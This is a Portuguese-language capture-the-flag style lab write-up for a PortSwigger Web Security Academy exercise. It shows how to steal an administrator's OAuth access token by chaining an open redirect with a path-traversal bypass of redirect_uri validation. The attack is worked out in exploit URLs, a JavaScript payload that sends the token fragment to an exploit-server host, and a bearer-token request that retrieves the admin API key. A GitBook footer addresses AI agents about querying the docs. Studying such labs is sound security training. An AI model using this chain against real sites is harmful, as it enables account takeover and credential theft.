> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Roubo de Token OAuth via Redirecionamento Aberto

### Roubo de tokens de acesso OAuth por meio de um redirecionamento aberto

**Objetivo do laboratório**

Este laboratório usa uma validação incorreta do `redirect_uri` parâmetro pelo serviço OAuth. / O objetivo é usar um redirecionamento aberto presente na aplicação cliente para **extrair o token de acesso OAuth do usuário administrador** e então usá-lo para recuperar sua chave de API.

> Não é possível obter a chave de API do administrador simplesmente conectando-se à sua conta por meio da aplicação cliente.

**Identificação de redirecionamento aberto**

Há redirecionamento aberto na funcionalidade de navegação entre artigos do blog:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/7e5c3438c10e2737bb21ab52b987cd6dc3243706" alt=""><figcaption></figcaption></figure>

Substituindo o `caminho` parâmetro por uma URL externa, o redirecionamento é aceito:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

O navegador é redirecionado, confirmando a vulnerabilidade.

<figure><img src="/files/875ca94b33482f8f10de123877304526ecc70c5d" alt=""><figcaption></figcaption></figure>

**Análise do fluxo OAuth**

Ao autenticar via OAuth, a seguinte requisição é observada:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/7790050b135a16079f410506e8470bf142ac1189" alt=""><figcaption></figcaption></figure>

O serviço OAuth rejeita uma URL totalmente externa `redirect_uri`, mas aceita uma URL interna modificada com path traversal.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/94fc2b39baf61d6265dc4f539287f9690edf6d5e" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Bypass de validação**

Usando `../` para sair do `/OAuth-callback` caminho, é possível encadear o redirecionamento aberto:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/a157f83bf4e5b0a13b14d1aabeefe286e55a48da" alt=""><figcaption></figcaption></figure>

Esta URL é aceita como `redirect_uri` pelo provedor OAuth.

**Construção maliciosa da URL OAuth**

A URL final enviada à vítima é:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Problema de fragmento (`#`)**

O fragmento da URL **nunca é enviado ao servidor** durante uma solicitação HTTP.<br>

<figure><img src="/files/4ec356809cf8d167ae15fcab683f8f615eb740dc" alt=""><figcaption></figcaption></figure>

É necessário JavaScript no lado do cliente para capturar o token.

<figure><img src="/files/bbf5f78f3966a2a411b92abda885a6ab4ccd6497" alt=""><figcaption></figcaption></figure>

**Captura de token com JavaScript**

O seguinte script está hospedado no Exploit Server e enviado ao administrador:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/bf19093d0072ac365d6a51a6861e2c9468ca9889" alt=""><figcaption></figcaption></figure>

* Se nenhum fragmento estiver presente, a vítima é redirecionada para o OAuth.
* Se o fragmento existir, o token é transmitido ao servidor pela query string.

<figure><img src="/files/4e71d12df85af12f05456641987d44ac3a285d51" alt=""><figcaption></figcaption></figure>

**Exploração do token OAuth**

O token roubado permite consultar o `/me` endpoint do provedor OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/eb4fb5b01d45800945a1b0cab133d186447bb20b" alt=""><figcaption></figcaption></figure>

A resposta contém as informações da conta do administrador, incluindo a chave de API:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrador",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/0caa61f316dfaf958bc8ab5662d58dc474691a0b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
